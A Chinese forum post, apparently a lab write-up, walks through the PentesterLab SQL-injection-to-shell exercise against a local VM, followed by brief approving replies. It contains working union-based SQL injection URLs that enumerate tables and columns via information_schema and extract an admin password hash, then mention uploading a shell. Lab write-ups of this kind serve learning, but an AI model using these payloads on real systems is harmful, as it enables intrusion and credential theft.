首页
社区
课程
招聘
[原创]PentesterLab SQL注入实例分析
发表于: 2014-8-26 15:54 4687

[原创]PentesterLab SQL注入实例分析

2014-8-26 15:54
4687

一、准备
1、实例ISO下载地址:https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/
2、实例下载后,使用vmware创建新的虚拟机,在选择iso文件时使用第一步下载的文件。

3、虚拟机制作完成后,打开,在虚拟机的终端中运行ifconfig 获取ip地址,在主机中的浏览器中输入Ip即可进入实验界面:


二、信息收集
4、浏览网页及源码信息,获取网站一些基本信息:
index.php
cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
all.php
admin/login.php [管理界面?]
admin/uploads/ [可直接访问,内有几个图片文件,文件夹权限管理不够严格]

5、查看后台运行的服务器类型,使用火狐的Live HTTP headers插件或者查看器,随便点击一个页面,查看响应信息:

显然使用的是Apache服务器,是否可能存在.htpasswd/.htaccess可直接访问的问题?
三、可能问题分析
6、问题1:cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
在地址栏输入:http://192.168.65.155/cat.php?id=1 ,


怀疑cat.php?id=1可能存在漏洞,修改id=1为id=1',弹出报错信息:


很明显,存在SQL注入漏洞,且后台使用了MySql数据库。

7、既然存在sql注入漏洞,那看能否爆出用户信息?

8、让页面爆出用户信息,那就需要用到union关键字,那首先需要判断现在页面显示信息时查询数据库获得的列数,使用order by查询:
order by 1  页面正常显示
order by 2  页面正常显示
order by 3  页面正常显示
order by 4  页面正常显示
order by 5  弹出“Unknown column '5' in 'order clause' ”问题
那么列数是4

9、猜测下用户表为user,看看有何信息输出?
输入:http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,1,1,1%20from%20user
弹出:Table 'photoblog.user' doesn't exist  啊哈,弹出了数据库名?但是表名user不对。

10、验证下数据库名,顺便爆下表名?需要先确定查询结果的第几列会显示出来。
http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,database%28%29,1,1
变换database() 函数的位置,看输出信息,确定第二列信息会显示出来:

http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,group_concat%28table_name%29,1,1%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67[0x70686f746f626c6f67为photoblog的十六进制]


ok,用户表名为users

11、那接下来爆用户密码:
union all select 1,1,1,1 from users 
没输出有效信息

难道用数字不能查询出有效信息?
那尝试下passwd/password?
发现输入:union all select 1,password,1,1 from users
输出:8efe310f9ab3efeae8d410a8e0166eb2

应该是一个用户的密码加密的密文?

12、输入:union all select 1,password,1,1 from users where user='admin'
弹出Unknown column 'user' in 'where clause' 问题,那看来user这个列不存在

那能不能爆一下列呢?

尝试:
http://192.168.65.155/cat.php?id=1%20union%20select%201,group_concat%28column_name%29,1,1%20%20from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=0x70686f746f626c6f67

爆出列名为id,login,password三列。

13、输入:union all select 1,password,1,1 from users where login='admin'
       获得密码:8efe310f9ab3efeae8d410a8e0166eb2
14、尝试登录,失败,很显然得到的密码为密文
15、尝试使用John爆破,很长时间没结果
16、可不可能是md5?尝试md5在线破解,没可用结果
17、尝试google  8efe310f9ab3efeae8d410a8e0166eb2:


可能为P4ssw0rd,进入admin界面,输入admin : P4ssw0rd登录成功



18、分析管理功能,发现在admin/new.php存在文件上传功能,那可以上传shell 

参考文献:
1、http://www.2cto.com/Article/201208/151503.html
2、http://www.2cto.com/Article/201108/99744.html
3、http://paulschou.com/tools/xlate/

后注:pentesterlab 有分析文档,本文仅是小菜整理自己的思路,大牛勿拍


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 53
活跃值: (734)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
伟大的google 只能这么说了
2014-8-26 16:24
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
记得读书的时候看网上的教程。。每次注入结果都是要么admin要么123456。。。。这种好事我怎么遇不到。。
2014-8-26 16:29
0
雪    币: 144
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
是啊,每次脱壳的时候就那么几步就搞定了,每次轮到我托人家的壳都不是那么一回事
2014-8-26 18:57
0
雪    币: 6
活跃值: (1125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
有环境啊,感谢楼主
2014-8-26 21:37
0
雪    币: 573
活跃值: (999)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
我很赞同
2014-8-26 23:18
0
雪    币: 49
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
+1 mark
2014-8-27 08:23
0
雪    币: 1555
活跃值: (3103)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
8
不错,适合我等菜菜学习
2014-8-28 09:27
0
雪    币: 11007
活跃值: (17509)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
支持楼主分享SQL注入方面的经验,辛苦了
2014-9-2 09:44
0
雪    币: 49
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
mark
2014-9-2 10:15
0
雪    币: 11
活跃值: (80)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
收藏,感谢分享
2014-9-2 11:18
0
游客
登录 | 注册 方可回帖
返回
//